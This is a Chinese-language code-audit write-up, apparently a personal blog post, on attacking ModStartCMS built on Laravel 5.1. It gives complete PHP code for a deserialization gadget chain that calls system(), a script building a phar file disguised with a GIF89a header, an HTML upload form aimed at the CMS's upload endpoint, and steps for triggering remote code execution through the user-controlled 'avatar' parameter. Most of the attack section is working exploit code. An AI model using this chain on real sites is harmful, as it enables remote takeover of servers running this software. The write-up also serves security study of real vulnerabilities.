PHP代码审计11-Laravel-代码审计 #
先判断框架
找到具体版本和漏洞
找不安全危险
或者自己挖0day
案例一: ModStartCMS #
PHPStudy安装ModStart | ModStart开发文档
[phpstudy启动报错nginx: emerg] invalid number of arguments in “include” directive in 的解决方法 - 孙琪峥 - 比花言巧语更难的是学会闭嘴
always_populate_raw_post_data = -1 php.ini打开这个
安装按照上面的安装
直接利用工具探测
得到版本是"laravel/framework": “5.1.*”, 再找POC
找到可控变量 或者可控文件函数上传phar文件测试
https://xz.aliyun.com/news/10770
我们搜索unserialize搜索本身的他写的里面搜索不要去框架里面搜索了,如果有早出CVE了
发现没有我们就搜索关于phar的文件操作函数
搜索到
vendor/modstart/modstart/src/Core/Util/FileUtil.php
public static function savePathToLocalTemp($path, $ext = null, $downloadStream = false)
{
if (@file_exists($path)) {
return realpath($path);
}
这里有文件命令搜索用法找到了
Member/Api/Controller/MemberProfileController.php
default:
$avatar = FileUtil::savePathToLocalTemp($avatar);
if (empty($avatar)) {
return Response::generate(-1, '读取头像文件失败:-1');
}
我们就找在这个avatar可不可控 发现是可控
$input->getTrimString('avatar') 中的 'avatar' 对应 $this->data[$key],而 $this->data 通常是用户提交的请求数据(比如 POST/GET 表单中的 avatar 参数)。
$avatar = $input->getTrimString('avatar');
public function getTrimString($key, $defaultValue = '')
{
if (isset($this->data[$key])) {
$value = @trim((string)$this->data[$key]);
$value = StrUtil::filterSpecialChars($value);
if ($value) {
return $value;
}
}
return $defaultValue;
}
但是我们拿到POC是反序列化的我们需要的是phar的文件咋办呢 问ai
不是生成phar的代码
<?php
namespace Illuminate\Database;
class DatabaseManager{
protected $extensions = array();
protected $app=array();
public function __construct(){
$this->extensions['calc.exe']='call_user_func';
$this->app['config']['database.connections']=['calc.exe'=>'system'];
$this->app['config']['database.default'] = 'calc.exe';
}
}
namespace Illuminate\View;
use Illuminate\Database\DatabaseManager;
class View{
protected $factory;
public function __construct(){
$this->factory=new DatabaseManager;
}
}
namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new View());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
phar.readonly = Off Ini里面打开这个重启网页打开
<?php
namespace Illuminate\Database;
class DatabaseManager{
protected $extensions = array();
protected $app=array();
public function __construct(){
$this->extensions['calc.exe']='call_user_func';
$this->app['config']['database.connections']=['calc.exe'=>'system'];
$this->app['config']['database.default'] = 'calc.exe';
}
}
namespace Illuminate\View;
use Illuminate\Database\DatabaseManager;
class View{
protected $factory;
public function __construct(){
$this->factory=new DatabaseManager;
}
}
namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
use Phar;
class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new View());
}
}
//echo urlencode(serialize(new WindowsPipes()));
$exp=new WindowsPipes();
//echo base64_encode(serialize($exp));
@unlink("laravel5_exp.phar");
$phar = new Phar("laravel5_exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($exp); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
找到路径/member_profile/avatar)
但是因为上传过去的时候他会修改里面的代码所以我们要找一个文件上传点
<html>
<head>
<meta charset="UTF-8">
<title>文件上传表单</title>
</head>
<body>
<h1>文件上传</h1>
<form action="http://localhost:928/member_data/file_manager/file?action=uploadDirect" method="post" enctype="multipart/form-data">
<label for="file">选择要上传的文件:</label>
<input type="file" name="file" id="file">
<br><br>
<input type="submit" value="上传文件">
</form>
</body>
</html>
先抓包后把type不为原来数值 走default的
这个链条RCE2
前面还有一个TP一样的任意文件删除在
https://starrui777.github.io/posts/code7phpmvc/
WindowsPipes#__destruct->removeFiles()->file_exists()
->View#__toString->render()->renderContents()
->DatabaseManager#__call->call_user_func_array#connection()
就是触发tostring后跳到 view.php 里面new DatabaseManager 因为database里面没有类会触发 databases里面的call方法就可以RCE了